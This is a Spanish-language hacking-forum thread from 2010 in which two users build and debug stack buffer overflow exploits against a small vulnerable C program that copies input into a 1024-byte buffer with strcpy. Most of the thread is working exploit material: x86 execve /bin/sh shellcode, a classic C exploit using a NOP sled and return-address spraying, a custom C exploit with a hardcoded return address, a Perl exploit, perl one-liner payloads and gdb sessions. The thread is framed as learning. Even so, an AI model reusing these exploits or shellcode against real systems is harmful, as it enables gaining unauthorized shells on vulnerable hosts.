Tema destacado: [Overclocking] Récords de overclock del foro
Autor
|
Tema: [Problema & linux] Explotando BoF mediante la direccion de retorno ESP (Leído 4,807 veces)
|
~ Yoya ~
Wiki
Desconectado
Mensajes: 954
|
Buenas, ps estaba esperando que Anon haga el video, pero me desespere xD,quisiera saber como puedo explotar BoF mediante una dirección de retorno valida incrementando o descrimentando la direccion ESP.
|
|
|
|
|
En línea
|
|
|
|
AlbertoBSD
Estudiante y
Colaborador
 
Desconectado
Mensajes: 1.955
Anonymous & Paranoid
|
Hola antes que nada disculpa por no hacer el video ya que te lo he prometido, he estado algo liado estos dias. Bueno veo que la cosas viene desde aqui https://foro.elhacker.net/bugs_y_exploits:/problema_escribiendo_un_exploit_para_bof-t276365.0.htmlhe bloqueado el tema para que no lo revivan. A ver el primer punto, no importa si el programa vulnerable esta en C o C++, personalmente prefiero lenguaje C puro. Exactamente a que te refieres cuando dices incrementando o decrementando la dirección del ESP. El primer code vulnerable que tu muestras, es bueno para practicar. Cuando el programa se cuelga te genera un archivo CORE? si eas asi que te muestra cuando pones gdb vuln vuln.core -q info regis
Saludos
|
|
|
|
« Última modificación: 15 Febrero 2010, 23:36 por Anon »
|
En línea
|
|
|
|
~ Yoya ~
Wiki
Desconectado
Mensajes: 954
|
Ejemplo, el exploit del wiki de elhacker. La mayoria de los programas no pushean mas que un par de cientos o un par de miles de bytes dentro del stack a cualquier hora. De esta manera conociendo donde comienza el stack podemos tratar de averiguar donde estara el buffer que estamos tratando de overflowear. Aqui hay un peque~o programa que imprimira su stack pointer: unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main() { printf("0x%x\n", get_sp()); }Exploit: #include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr += 4; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); } Aqui incrementan: for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr += 4; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];
|
|
|
|
|
En línea
|
|
|
|
AlbertoBSD
Estudiante y
Colaborador
 
Desconectado
Mensajes: 1.955
Anonymous & Paranoid
|
A ok, mira ese es un exploit y es uno de los clásicos que encuentras en Internet. Lo que hacen ahi, es rellenar el buffer con NOPS + Shellcode + (ESP - Offset) unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main() { printf("0x%x\n", get_sp()); }[/quote] El código Anterior te devuelve una dirección aproximada del ESP actual el ESP es el apuntador de Pila, y se utiliza para saber en tiempo de ejecución la dirección aproximada de la Pila y después le restan el Offset Exploit: #include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr += 4; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); } Quoteo las lineas interesantes: addr = get_sp() - offset; Al ESP se le resta el offset, que deberia de ser aproximadamente un poco menos que el tamaño de el buffer + todas las variables que esten entre el buffer y el inicio de la funcion que aloja al buffer del programa a vulnerar for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr += 4; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; Este código rellena primero todo el buffer con la dirección de Retorno que es Aproximadamente el ESP - Offset y el segundo ciclo coloca al principio del buffer el shellcode, el codigo funciona pero debes de ser exacto en el offset elegido, el problema con este código que muestras, es que no esta esta colocando NOPS, los Nops deberían de ir al principio del buffer como te lo mencione debería de ser NOPS + Shellcode + Rets (ESP - Offset) Mi analogía es que los Nops son como una pista de aterrizaje mientras tengas mas espacio podrás aterrizar en cualquiera de ellos, si no tendrías que aterrizar exclusivamente sobre el primer byte del shellcode. Ese código lo he visto y rellenan solo la mitad del buffer con Nops y después la shellcode, y lo que sobra con los Rets, algo asi mas o menos. Saludos
|
|
|
|
|
En línea
|
|
|
|
~ Yoya ~
Wiki
Desconectado
Mensajes: 954
|
Bueno, ps como lo harias tu Anon, como me dices que son de los exploit clasicos, me gustaria ver como son mas o menos los mas nuevitos xD. Este seria el archivo vuln. /*vuln.c*/ #include <stdio.h> #include <stdlib.h> #include <string.h> void funcion(char *ax); int main (int argc, char *argv[]) { if(argc<2) { printf("Uso: %s cadena\x0a", argv[0]) ; return 0; } funcion (argv[1]); return (0); } void funcion (char *ax) { char buffer[1024]; strcpy (buffer, ax); printf ("Cadena:\n%s\n", buffer); } Aver si no es molestia y se diseñas un exploit de lo mas nuevito o no tan clasicos xD, estas son las condiciones: Se usara la direccion de la memoria ESP por defecto, osea no usaras la funcion para obtenerla si no que se usara una en el code por defecto, por lo tanto el exploit no sera tan largo. Se tomara una direccion ESP por defecto en el code, se tendra que desactivar el stack protecction para que la direccion esp no cambie, luego se explotara con la proteccion pero no creo que no hay que decirlo ya que puedes obtener la direccion ESP en C/C++... Que no sea tan largo, si quieres lo puedes hacer en un lenguaje compilado como C o un lenguaje interpretado como perl, python, php, etc... Saludos, si entiendo bien la forma mas nueva, diseño un exploit para completar el POST xD.
|
|
|
|
« Última modificación: 16 Febrero 2010, 19:36 por yoyahack »
|
En línea
|
|
|
|
AlbertoBSD
Estudiante y
Colaborador
 
Desconectado
Mensajes: 1.955
Anonymous & Paranoid
|
Al decir "clasico" me refiero a que es el mas usado, ademas es muy genérico ya que se puede usar contra la mayoria de las vulnerabilidades clasicas de Stack overflow. Ya que si creas uno personalizado, solo servirá para determinadas ocasiones. Sigo sin entender tantas condiciones que poner, pero a ver: Se usara la direccion de la memoria ESP por defecto, osea no usaras la funcion para obtenerla si no que se usara una en el code por defecto, por lo tanto el exploit no sera tan largo. Con esto te refieres a no usar la función : unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } Se tomara una dirección ESP por defecto en el code Con eso te refieres a incluir la dirección estaticamente en el exploit algo asi como: int addr = 0xbfffffff luego se explotara con la proteccion Después de explotarlo sin la protección de ejecución en pila, se procederia a explotarlo con la protección activa, bien. Voy a verificarlo y ahorita te comento Saludos
|
|
|
|
|
En línea
|
|
|
|
~ Yoya ~
Wiki
Desconectado
Mensajes: 954
|
Si, esa son las condiciones, estan bien.
|
|
|
|
|
En línea
|
|
|
|
AlbertoBSD
Estudiante y
Colaborador
 
Desconectado
Mensajes: 1.955
Anonymous & Paranoid
|
Por experiencia propia se que gcc en su versión 4 deja exactamente la cantidad de bytes que tu le reserves en la pila, entonces tenemos Buffer + EBP Salvado + Retorno Después de compilar y ejecutar vemos que es cierto:  1024 bytes de el buffer + 4 "A" que sobre escriben el EBP de la función anterior previamente guardado + 4 "B" que sobrescriben el ret de la función anterior previamente guardo, también vemos el valor actual de ESP que es una aproximación de la dirección de retorno que necesitamos Ahora haciendo una depuración, colocando un break point en el "}" de función Buffer en gdb 0xbfbfe398 ESP en gdb 0xbfbfe390 justo cuando esta pro hacer el leave ret Esto la direccion de el buffer y el ESP están separado por 8 bytes, los cuales son los 8 bytes ocupados por los parámetros de la función printf, entonces podríamos tomar el ESP que se muestra en la imagen y sumarle 8, para que sea nuestra direccion de retorno. Cree un exploit lo mas simple que pude: #include<stdio.h> #include<stdlib.h> #include<string.h> #define NOP 0x90 char shellcode[]= "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" "\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53" "\xb0\x3b\x50\xcd\x80"; int main(int argc, char *argv[]) { char *vuln[3] = {"/usr/home/Anon/vuln",NULL,NULL}; char *buffer; long addr = 0xbfbfe7c0; int size; int i; size = 1033; buffer = (char*) calloc(size,sizeof(char)); memset(buffer,NOP,size-1); *((long*)buffer + ((size-1)/4) - 1) = addr; for (i = 0; i < strlen(shellcode); i++) buffer[i+((size-1)/2)] = shellcode[i]; vuln[1] = buffer; printf("Direcion Ret: 0x%x\n",addr); execv(vuln[0],vuln); return 0; } El problema de los exploits compilados para ejecutar a los vulnerables, es que generan mas memoria y si usamos direcciones estáticas, entonces nos mueven un poco las direcciones que ya habíamos calculado: Y por lo tanto mi primer exploit fallo:  Después de buscar donde esta nuestra shellcode con el gdb  Vemos que esta en 0xbfbfe924, reajustando el exploit con esta direccion:  Y ahi esta el exploits, en el exploit clásico, lo que hacen es juegan con el offset y la direccion aproximada para aterrizar en los nops, ya que no siempre es posible obtener la direccion en memoria de nuestro shellcode a priori Ademas en el exploit genérico que pusiste no rellenan con NOPs el buffer. y el no se como ejecutes el programa vulnerable para pesarla el buffer mediante los parámetros, con ese exploit es ./vuln $EGG Saludos
|
|
|
|
« Última modificación: 17 Febrero 2010, 01:21 por Anon »
|
En línea
|
|
|
|
~ Yoya ~
Wiki
Desconectado
Mensajes: 954
|
Ok, tome la direccion de la memoria ESP y se la agrege al exploit. (gdb) info regi eax 0x415 1045 ecx 0xbfffee98 -1073746280 edx 0xba4340 12206912 ebx 0xba2ff4 12201972 esp 0xbffff2d0 0xbffff2d0 ebp 0x6f666e69 0x6f666e69 esi 0x0 0 edi 0x0 0 eip 0x8048400 0x8048400 <frame_dummy+16> eflags 0x10292 [ AF SF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51
ESP = 0xbffff2d0, aqui el exploit #!usr/bin/perl #Exploit para explotar Buffer Overflow #Shellcode x86 $shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73". "\x68\x68\x2f\x62\x69\x6e\x89". "\xe3\x50\x53\x89\xe1\x99\xb0". "\x0b\xcd\x80"; $nop = "\x90"; print "Info\nShellcode de ".length($shellcode)." bytes\n"; $result = 1028-length($shellcode); print "Buffer - shellcode = $result nops\n"; $ret = "\xbf\xff\xf2\xd0"; #Direccion esp 0xbffff2d0 $i = 0; for(;$i<$result;$i++){ $payload .= $nop; } $payload .= $shellcode.$ret; exec("./vuln $payload"); Captura de shellcode escogida de Radare  Y de las direcciones de memoria de archivo vulnerable:  El exploit no funciona correctamente, aver si me dices cual es mi fallo.
|
|
|
|
|
En línea
|
|
|
|
AlbertoBSD
Estudiante y
Colaborador
 
Desconectado
Mensajes: 1.955
Anonymous & Paranoid
|
Ese frame_dummy lo he visto pero no me suena por que el error te lo da ahi. Esta linea debería de ahorrarte el proceso del exploit ./vuln´perl -e 'print"\x90"x1000';print"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80\xbf\xff\xf2\xd0";´
depura con el gdb colocas un break point en la linea del strcpy derspues de eso: run ´perl -e 'print "\x90"x1000';print"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80\xbf\xff\xf2\xd0";´ y ya que de detenga el programa miras la dirección de buffer: printf "0x%x\n", buffer Y lo que te salga le sumas 1024 bytes y el resultado x/16 <valor> Ahi deberían de estar lo valores previamente guardados el EBP del frame anterior y RET el ret debería de estar apuntando a una posición dentro de main, si quieres lo cotejas. Para comprobarlo usa: "bt" y ahi te informa a que dirección de main va a regresar, ya después das "step" y nuevamente "x/16 <valor>" Y ya vez lo que se sobrescribió en donde estaba el RET ahora debería de estar "\xbf\xff\xf2\xd0" Si eso esta bien ya casi lo tienes, solo te comento que lo del frame_dummy no lo habia visto, ahorita entro con un linux y te cuento. Saludos
|
|
|
|
|
En línea
|
|
|
|
~ Yoya ~
Wiki
Desconectado
Mensajes: 954
|
No puedo poner breakpoints porque actua sobre otro archivo y no el que se esta ejecutando. root@yoya-desktop:/home/yoya/Escritorio/bof# gdb ./vuln GNU gdb (GDB) 7.0-ubuntu Copyright (C) 2009 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i486-linux-gnu". For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>... Leyendo símbolos desde /home/yoya/Escritorio/bof/vuln...hecho. (gdb) r Starting program: /home/yoya/Escritorio/bof/vuln Uso: /home/yoya/Escritorio/bof/vuln cadena
Program exited normally. (gdb) break 20 Punto de interrupción 1 at 0x8048360: file ../sysdeps/i386/elf/start.S, line 20.
|
|
|
|
|
En línea
|
|
|
|
AlbertoBSD
Estudiante y
Colaborador
 
Desconectado
Mensajes: 1.955
Anonymous & Paranoid
|
a ver disas funcion
buscas el call al strcpy (Posiblemente tenga otro nombre si no compilastes con -g)
y vez la direccion 0x8.......
entonces break *0x8...
Ya estoy en linux
Saludos
|
|
|
|
|
En línea
|
|
|
|
~ Yoya ~
Wiki
Desconectado
Mensajes: 954
|
(gdb) disas main Dump of assembler code for function main: 0x08048414 <main+0>: push %ebp 0x08048415 <main+1>: mov %esp,%ebp 0x08048417 <main+3>: and $0xfffffff0,%esp 0x0804841a <main+6>: sub $0x10,%esp 0x0804841d <main+9>: cmpl $0x1,0x8(%ebp) 0x08048421 <main+13>: jg 0x8048440 <main+44> 0x08048423 <main+15>: mov 0xc(%ebp),%eax 0x08048426 <main+18>: mov (%eax),%edx 0x08048428 <main+20>: mov $0x8048550,%eax 0x0804842d <main+25>: mov %edx,0x4(%esp) 0x08048431 <main+29>: mov %eax,(%esp) 0x08048434 <main+32>: call 0x8048350 <printf@plt> 0x08048439 <main+37>: mov $0x0,%eax 0x0804843e <main+42>: jmp 0x8048455 <main+65> 0x08048440 <main+44>: mov 0xc(%ebp),%eax 0x08048443 <main+47>: add $0x4,%eax 0x08048446 <main+50>: mov (%eax),%eax 0x08048448 <main+52>: mov %eax,(%esp) 0x0804844b <main+55>: call 0x8048457 <funcion> 0x08048450 <main+60>: mov $0x0,%eax 0x08048455 <main+65>: leave 0x08048456 <main+66>: ret ---Type <return> to continue, or q <return> to quit--- End of assembler dump. (gdb) b *0x08048434 Punto de interrupción 3 at 0x8048434 (gdb) c Continuando. Warning: Cannot insert breakpoint 2. Error accessing memory address 0x8: Error de entrada/salida.
|
|
|
|
|
En línea
|
|
|
|
AlbertoBSD
Estudiante y
Colaborador
 
Desconectado
Mensajes: 1.955
Anonymous & Paranoid
|
disculpa habia puesto main, la primera vez, pero edite y puse funcion ahora: Error accessing memory address 0x8: Error de entrada/salida. Ese error esta muy raro. Ahora tambien hay que agregar el break point se coloca antes de ejecutar, ejecutas con run y el parametro de perl.. Saludo
|
|
|
|
|
En línea
|
|
|
|
~ Yoya ~
Wiki
Desconectado
Mensajes: 954
|
(gdb) info b Num Type Disp Enb Address What 1 breakpoint keep y 0x08048360 ../sysdeps/i386/elf/start.S:20 2 breakpoint keep y 0x00000008 3 breakpoint keep y 0x08048434 <main+32> (gdb) delete b ¿Borrar todos los puntos de rotura? (y o n) y (gdb) run The program being debugged has been started already. Start it from the beginning? (y o n) y
Starting program: /home/yoya/Escritorio/bof/vuln Uso: /home/yoya/Escritorio/bof/vuln cadena
Program exited normally. (gdb) run $(perl -e 'print "\x90"x1000';print"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80\xbf\xff\xf2\xd0";) Starting program: /home/yoya/Escritorio/bof/vuln $(perl -e 'print "\x90"x1000';print"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80\xbf\xff\xf2\xd0";) /bin/bash: print\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80\xbf\xff\xf2\xd0: no se encontró la orden Cadena: ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
Program exited normally. (gdb)
Otra cosa como evito poner breakpoints en el archivo que no se esta ejecutando.
|
|
|
|
|
En línea
|
|
|
|
|
|